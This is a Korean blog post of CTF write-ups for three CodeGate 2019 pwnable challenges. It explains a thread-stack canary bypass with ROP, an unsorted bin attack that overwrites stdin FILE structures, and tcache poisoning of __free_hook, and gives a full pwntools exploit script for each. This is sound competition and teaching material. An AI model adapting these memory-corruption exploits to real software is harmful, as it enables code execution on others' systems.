github twitter facebook email
CodeGate2019 Pwn
Jan 29, 2019
5 minutes read

Codegate2019 주니어 할때는 KingMaker푸는데 대충 4~5시간 부어넣고, 20000도 깔끔하게 풀긴 했는데 2~3시간 먹고

매트릭스 본다고 시간 날리고 웹 푼다고 했는데 문제가 날라가고, 그러다보니 시간이 안남아서 pwnable를 1도 못봤다.

그래서 대회 끝나고 따로 한번더 봤당.

aeiou

이거만 시텦때 한 10분 봤던거 같은데 bof가 있는데 canary가 있어서 어캐하지 하고 바로 접은 문제다.

끝나고 보니까 pthread_create로 thread생성할 때 해당 thread에서 사용할 stack을 만드는데,

fs:0x28에 있는 canary를 stack단으로 옮겨서 thread의 canary를 check한다고 한다.

https://code.woboq.org/userspace/glibc/nptl/pthread_create.c.html

typedef struct
{
  void *tcb;                /* Pointer to the TCB.  Not necessarily the
                           thread descriptor used by libpthread.  */
  dtv_t *dtv;
  void *self;                /* Pointer to the thread descriptor.  */
  int multiple_threads;
  int gscope_flag;
  uintptr_t sysinfo;
  uintptr_t stack_guard;
  uintptr_t pointer_guard;
  unsigned long int vgetcpu_cache[2];
  /* Bit 0: X86_FEATURE_1_IBT.
     Bit 1: X86_FEATURE_1_SHSTK.
   */
  unsigned int feature_1;
  int __glibc_unused1;
  /* Reservation of some values for the TM ABI.  */
  void *__private_tm[4];
  /* GCC split stack support.  */
  void *__private_ss;
  /* The lowest address of shadow stack,  */
  unsigned long long int ssp_base;
  /* Must be kept even if it is no longer used by glibc since programs,
     like AddressSanitizer, depend on the size of tcbhead_t.  */
  __128bits __glibc_unused2[8][4] __attribute__ ((aligned (32)));
  void *__padding[8];
} tcbhead_t;

# define THREAD_COPY_STACK_GUARD(descr) \
    ((descr)->header.stack_guard                                              \
     = THREAD_GETMEM (THREAD_SELF, header.stack_guard))


int
__pthread_create_2_1 (pthread_t *newthread, const pthread_attr_t *attr,
                      void *(*start_routine) (void *), void *arg){
    ...
    struct pthread *pd = NULL;
    ...
	pd->start_routine = start_routine;
    pd->arg = arg;
    pd->c11 = c11;
    /* Copy the thread attribute flags.  */
    struct pthread *self = THREAD_SELF;
    pd->flags = ((iattr->flags & ~(ATTR_FLAG_SCHED_SET | ATTR_FLAG_POLICY_SET))
                 | (self->flags & (ATTR_FLAG_SCHED_SET | ATTR_FLAG_POLICY_SET)));
    /* Initialize the field for the ID of the thread which is waiting
       for us.  This is a self-reference in case the thread is created
       detached.  */
    pd->joinid = iattr->flags & ATTR_FLAG_DETACHSTATE ? pd : NULL;
    /* The debug events are inherited from the parent.  */
    pd->eventbuf = self->eventbuf;
    /* Copy the parent's scheduling parameters.  The flags will say what
       is valid and what is not.  */
    pd->schedpolicy = self->schedpolicy;
    pd->schedparam = self->schedparam;
    /* Copy the stack guard canary.  */
    #ifdef THREAD_COPY_STACK_GUARD
      THREAD_COPY_STACK_GUARD (pd);
    #endif
}

해당 식으로 stack단에 옮긴다고 한다.

그래서 thread내부에 bof가 있으면 canary상관없이 rip를 catch할 수 있다고 한다.

from pwn import *

p = process('./aeiou')
elf = ELF('./aeiou')
libc = elf.libc

p.sendlineafter('>>', '3')

setcsu   = 0x4026EA
callcsu  = 0x4026D0
poprdi   = 0x4026f3
poprbp   = 0x400c70
leaveret = 0x400d70
 
pay = "A"*0x1010 + "B"*8
pay += p64(poprdi) + p64(elf.got['puts']) + p64(elf.plt['puts'])
pay += p64(setcsu) 
pay += p64(0) + p64(1)
pay += p64(elf.got['read'])
pay += p64(0x100)
pay += p64(elf.bss() + 0x100)
pay += p64(0)
pay += p64(callcsu)

pay += p64(0)*7
pay += p64(poprbp) + p64(elf.bss() + 0x100 - 0x8)
pay += p64(leaveret)

pay = pay.ljust(0x1800, 'A')

p.sendlineafter('number!\n', str(len(pay)))
p.send(pay)

p.recvuntil("Thank You :)\n")
leak = u64(p.recv(6).ljust(8,'\x00'))
libcbase = leak - libc.symbols['puts']

log.info("[LIBC] : 0x%x" % libcbase)

p.send(p64(libcbase + 0xf1147))
p.interactive()

Maris_shop

16.04 heap 문제다.

누가봐도 알만한 logic bug가 있다. 15번째 index를 초기화 하지 않는다. 근데 이게 또 이걸로 leak 따려하면 consolidate때문인지 먼지 병합이 되면서 안된다. 그래서 풍수를 좀 맞추고 해서 leak 을 딴다.

exploit은 input이 없어서 불가능하지 않나? 할 수 있는데 free된 chunk의 bk를 조작이 가능하니까 unsorted bin attack으로

_IO_2_1_stdin__IO_buf_end를 덮으면 fgets로 input을 쭉 넣을 수 있고, 이걸로 _IO_file_jumps를 덮어서 딸 수 있다.

from pwn import *

def add(idx, amount):
    global name
    global nlist
    p.sendlineafter(':', '1')
    data = p.recvuntil('?:')
    data = data.split('\n')
    data = data[1:7]
    t = ''
    for i in range(0,len(data)):
        t = data[i][data[i].find('. ')+2 : data[i].find('-')]
        if t not in nlist:
            break
    name[idx] = t
    nlist.append(t)
    if 'Event Chaos Dungeon Ticket' in t:
        p.sendline(str(i+1))
        p.sendlineafter('?:', '4')
    else:
        p.sendline(str(i+1))
        p.sendlineafter('?:', str(amount))
    return

def add_(idx, amount):
    global name
    global nlist
    p.sendlineafter(':', '1')
    data = p.recvuntil('?:')
    data = data.split('\n')
    data = data[1:7]
    t = ''
    for i in range(0,len(data)):
        t = data[i][data[i].find('. ')+2 : data[i].find('-')]
        if t not in nlist:
            break
    name[idx] = t
    nlist.append(t)
    p.sendline(str(i+1))
    p.sendlineafter('?:', str(amount))
    return


def remove(idx):
    p.sendlineafter(':', '2')
    p.sendlineafter('?:', str(idx))
    global name
    nlist.pop(nlist.index(name[idx]))
    name[idx] = ''
    
def show(idx):
    p.sendlineafter(':', '3')
    p.sendlineafter(':', '1')
    p.sendlineafter('?:', str(idx))

def buy():
    p.sendlineafter(':', '4')
    p.sendlineafter(':', '2')
    p.sendlineafter(':', '1')


if __name__ == '__main__':
    p = process('./Maris_shop')
    elf = ELF('./Maris_shop')
    libc = elf.libc
    
    global name
    name = {}
    global nlist
    nlist = []

    add(0,0)
    for i in range(1,16):
        add(i, 0)
        remove(i)
        add(i, 0)
    add(16, 0)
    buy()
    
    show(15)
    p.recvuntil('Amount: ')
    leak = int(p.recvline()[:-1])
    libcbase = leak - 0x3c4b78
    log.info("[LIBC] : 0x%x" % libcbase)
    
    name = {}
    nlist = []
    add(0,0)
    remove(0)
    add(0,0)
    remove(0)

    for i in range(0,15):
        add(i,0)

    
    p.sendlineafter(':', '4')
    p.sendlineafter(':', '1')
    p.sendlineafter(':', '13')

    offset = (libcbase + libc.symbols['_IO_2_1_stdin_']) - leak + 8*8 - 16

    while 1:
        p.sendlineafter(':', '1')
        data = p.recvuntil('?:')
        data = data.split('\n')
        data = data[1:7]
        t = ''
        flag = 0
        for i in range(0,len(data)):
            t = data[i][data[i].find('. ')+2 : data[i].find('-')]
            if t in nlist[13]:
                print t
                pause()
                p.sendline(str(i+1))
                p.sendlineafter('?:', str(offset))
                flag = 1
                break
            elif t in nlist:
                ttmp = i+1
        if flag:
            break
        
        p.sendline(str(ttmp))
        p.sendlineafter('?:', '0')
    
    add(0,0)

    pay = "A"*5
    pay += p64(libcbase + 0x3c6790)
    pay += p64(0xffffffffffffffff)
    pay += p64(0)
    pay += p64(libcbase + 0x3c49c0)
    pay += p64(0)*3
    pay += p64(0x00000000ffffffff)
    pay += p64(0)*2
    pay += p64(libcbase + libc.symbols['_IO_2_1_stdin_'] + 216 + 8)
    pay += p64(0)*2
    pay += p64(libcbase + 0xf02a4)*10

    p.sendline(pay)

    p.interactive()

god-the-reum

그냥 tcache 문제다. dfb도 있는데 그냥 free 된거 조절도 가능하니 의미없다.

size도 자유라 그냥 large bin으로 leak 따면 된다.

from pwn import *

def add(size):
    p.sendlineafter(': ', '1')
    p.sendlineafter(': ', str(size)) 

def deposit(idx, amount):
    p.sendlineafter(': ', '2')
    p.sendlineafter(': ', str(idx))
    p.sendlineafter(': ', str(amount))

def withdraw(idx, amount):
    p.sendlineafter(': ', '3')
    p.sendlineafter(': ', str(idx))
    p.sendlineafter(': ', str(amount))

def show():
    p.sendlineafter(': ', '4')

if __name__ == '__main__':
    p = process('./god-the-reum')
    elf = ELF('./god-the-reum')
    libc = elf.libc

    add(0x500)
    add(0x10)
    withdraw(0, 0x500)
    show()
    p.recvuntil('ballance ')
    leak = int(p.recvline()[:-1])
    libcbase = leak - 0x3ebca0
    log.info('[LIBC] : 0x%x' % libcbase)

    withdraw(1, 0x10)

    p.sendlineafter(': ', '6')
    p.sendlineafter(': ', '1')
    p.sendlineafter(': ', p64(libcbase + libc.symbols['__free_hook']))

    add(0x10)
    add(0x10)

    p.sendlineafter(': ', '6')
    p.sendlineafter(': ', '3')
    p.sendlineafter(': ', p64(libcbase + 0x4f322))

    withdraw(1, 0x10)
    
    p.interactive()

Butterfree

image

hmm….


추후 추가 예정


Back to posts


comments powered by Disqus